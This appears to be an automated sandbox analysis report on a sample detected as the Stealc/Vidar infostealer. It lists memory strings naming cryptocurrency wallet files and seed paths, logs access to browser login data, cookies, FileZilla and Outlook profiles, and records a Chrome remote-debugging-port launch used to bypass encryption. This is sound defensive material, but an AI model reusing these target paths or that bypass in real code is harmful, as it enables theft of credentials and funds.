Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667851166.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667851166.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667851166.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667851166.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667851166.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667851166.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667851166.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667851166.0000000001098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.*I

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2666039485.000000000021C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3704, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2160232079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2666039485.0000000000151000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2667851166.000000000103E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3704, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3704, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	112 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	236 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Masquerading	Cached Domain Credentials	651 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	241 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	112 Process Injection	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
